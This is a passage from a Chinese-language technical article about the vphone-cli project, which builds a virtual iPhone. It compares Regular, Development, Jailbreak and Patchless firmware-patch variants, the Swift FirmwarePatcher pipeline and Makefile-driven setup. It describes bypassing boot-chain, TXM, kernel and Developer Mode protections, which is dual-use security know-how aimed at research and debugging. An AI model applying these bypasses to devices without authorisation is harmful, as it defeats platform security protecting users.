constraints、dyld策略和Sandbox路径，再通过CFW安装Cryptex、GPU驱动、iosbinpack64、launchd缓存加载器补丁、mobileactivationd补丁和LaunchDaemons。它的价值是稳定得到一个可SSH、可VNC、可运行基础工具的虚拟iPhone。</span></p><p data-line="64" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Development</span></code><span leaf="">变体在</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">基础上增强调试能力。它使用TXMDevPatcher，加入get-task-allow、debugger entitlement、Developer Mode bypass等补丁，并在CFW阶段加入dev overlay、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rpcserver_ios</span></code><span leaf="">替换和debugserver权限修补。2026-04-20还加入了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">thread_guard_violation</span></code><span leaf="">相关内核补丁，用于禁用EXC_GUARD交付，使行为更接近生产环境中不崩溃的路径。这个变体更适合动态调试、RPC控制和调试器接入。</span></p><p data-line="66" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">变体是安全绕过最强的路径。根据</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">research/0_binary_patch_comparison.md</span></code><span leaf="">，它在基础补丁之外包含TXM Dev/JB补丁、iBSS nonce跳过、Kernel JB扩展、Procursus bootstrap、BaseBin hooks、TweakLoader、Sileo、TrollStore Lite和首启LaunchDaemon收尾。研究文档中的细粒度统计显示，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><span leaf="">总计51项，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Development</span></code><span leaf="">总计65项，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><span leaf="">总计127项。这里的总数包含启动链补丁、CFW二进制补丁和安装组件，粒度比README首页的用户摘要更细。</span></p><p data-line="68" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从能力定位看，四种变体可以这样理解：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Patchless</span></code><p><span leaf="">用于尽量保留安全机制的文件系统重建路线。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Regular</span></code><p><span leaf="">用于稳定启动和基础远程访问。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Development</span></code><p><span leaf="">用于调试器、RPC和开发态实验。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Jailbreak</span></code><p><span leaf="">用于完整越狱环境、包管理器、插件加载和更深系统访问。</span></p></li></ul><h2 data-line="75" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">5 Swift固件补丁</span></h2><p data-line="77" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">早期仓库使用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Scripts/patch_firmware.py</span></code><span leaf="">处理固件补丁。当前仓库已经把这条主线迁移到Swift</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FirmwarePatcher</span></code><span leaf="">模块。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Package.swift</span></code><span leaf="">中可以看到独立的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FirmwarePatcher</span></code><span leaf="">target，它依赖</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Capstone</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Img4tool</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MachOKit</span></code><span leaf="">，并被</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">vphone-cli</span></code><span leaf="">可执行程序引用。</span></p><p data-line="79" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">当前CLI支持两个直接面向固件补丁的子命令：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="81" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">vphone-cli patch-firmware --vm-directory &lt;</span><span style="color: rgb(0, 122, 204);"><span leaf="">dir</span></span><span leaf="">&gt; --variant regular</span><br/><span leaf="">vphone-cli patch-component --component kernel-base --input &lt;file&gt; --output &lt;raw&gt;</span></code></pre><p data-line="86" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">FirmwarePipeline</span></code><span leaf="">按以下顺序组织组件：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="88" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">AVPBooter</span><br/><span leaf="">iBSS</span><br/><span leaf="">iBEC</span><br/><span leaf="">LLB</span><br/><span leaf="">TXM</span><br/><span leaf="">kernelcache</span><br/><span leaf="">DeviceTree</span><br/><span leaf="">Filesystem</span><br/><span leaf="">Manifest</span></code></pre><p data-line="100" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">不同变体会在这些组件上选择不同的patcher。Regular使用基础iBoot、TXM和Kernel补丁。Development把TXM切换为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">TXMDevPatcher</span></code><span leaf="">，Kernel使用dev模式。Jailbreak会在基础Kernel补丁后追加</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelJBPatcher</span></code><span leaf="">，并在iBSS阶段追加JB扩展。Patchless则跳过大部分传统引导链和内核补丁，把重点放到Filesystem和Manifest。</span></p><p data-line="102" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这次迁移的价值不只是“用Swift重写”。它改变了补丁工程的组织方式：</span></p><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">IM4P容器加载和保存由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">IM4PHandler</span></code><span leaf="">统一处理。</span></p></li><li style=""><p><span leaf="">PatchRecord可以输出为JSON，便于比较和回归。</span></p></li><li style=""><p><span leaf="">DeviceTree、Filesystem和Manifest作为管线阶段参与，而不是散落在临时脚本中。</span></p></li><li style=""><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">make fw_patch</span></code><p><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">make fw_patch_dev</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">make fw_patch_jb</span></code><span leaf="">都通过Swift管线执行，减少Python脚本与Swift启动器之间的语义漂移。</span></p></li><li style=""><p><span leaf="">测试目标</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">tests/FirmwarePatcherTests</span></code><span leaf="">用于维持补丁行为的一致性。</span></p></li></ul><p data-line="110" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">上一篇文章中大量描述了AVPBooter、iBoot、TXM和Kernel的补丁原理。当前仓库真正新增的能力，是把这些补丁从“可执行脚本”提升为“项目内部可维护的固件补丁系统”。</span></p><h2 data-line="112" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">6 自动化安装与运行</span></h2><p data-line="114" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">早期制作拉起虚拟iPhone需要人工串起多个步骤：安装依赖、构建工具、创建VM、下载两份固件、合并固件、补丁、启动DFU、获取SHSH、恢复、构建Ramdisk、发送Ramdisk、进入SSH、安装CFW、首次启动。当前</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Makefile</span></code><span leaf="">已经把这些步骤统一成可组合目标。</span></p><p data-line="116" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">一键流程入口是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="118" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">make setup_machine</span></code></pre><p data-line="122" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它背后的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">scripts/setup_machine.sh</span></code><span leaf="">会按顺序完成以下工作：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">执行Host依赖安装、项目构建和签名。</span></p></li><li style=""><p><span leaf="">创建VM目录并生成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">config.plist</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_prepare</span></code><span leaf="">下载或复制iPhone IPSW和cloudOS IPSW。</span></p></li><li style=""><p><span leaf="">根据参数选择</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_patch</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_patch_dev</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_patch_jb</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">fw_patch_less</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">启动DFU并执行</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">restore_get_shsh</span></code><span leaf="">和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">restore</span></code><span leaf="">。</span></p></li><li style=""><p><span leaf="">再次进入DFU，构建并发送SSH Ramdisk。</span></p></li><li style=""><p><span leaf="">启动usbmux端口转发并执行CFW安装。</span></p></li><li style=""><p><span leaf="">启动首次正常系统并分析串口输出。</span></p></li></ol><p data-line="133" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它还支持多个实用参数：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="135" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">make setup_machine JB=1</span><br/><span leaf="">make setup_machine DEV=1</span><br/><span leaf="">make setup_machine LESS=1</span><br/><span leaf="">make setup_machine NONE_INTERACTIVE=1</span><br/><span leaf="">make setup_machine SUDO_PASSWORD=...</span><br/><span leaf="">make setup_machine SKIP_PROJECT_SETUP=1</span><br/><span leaf="">make setup_machine LESS=1 NO_BINPACK=1</span><br/><span leaf="">make setup_machine LESS=1 NO_VPHONED=1</span></code></pre><p data-line="146" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, 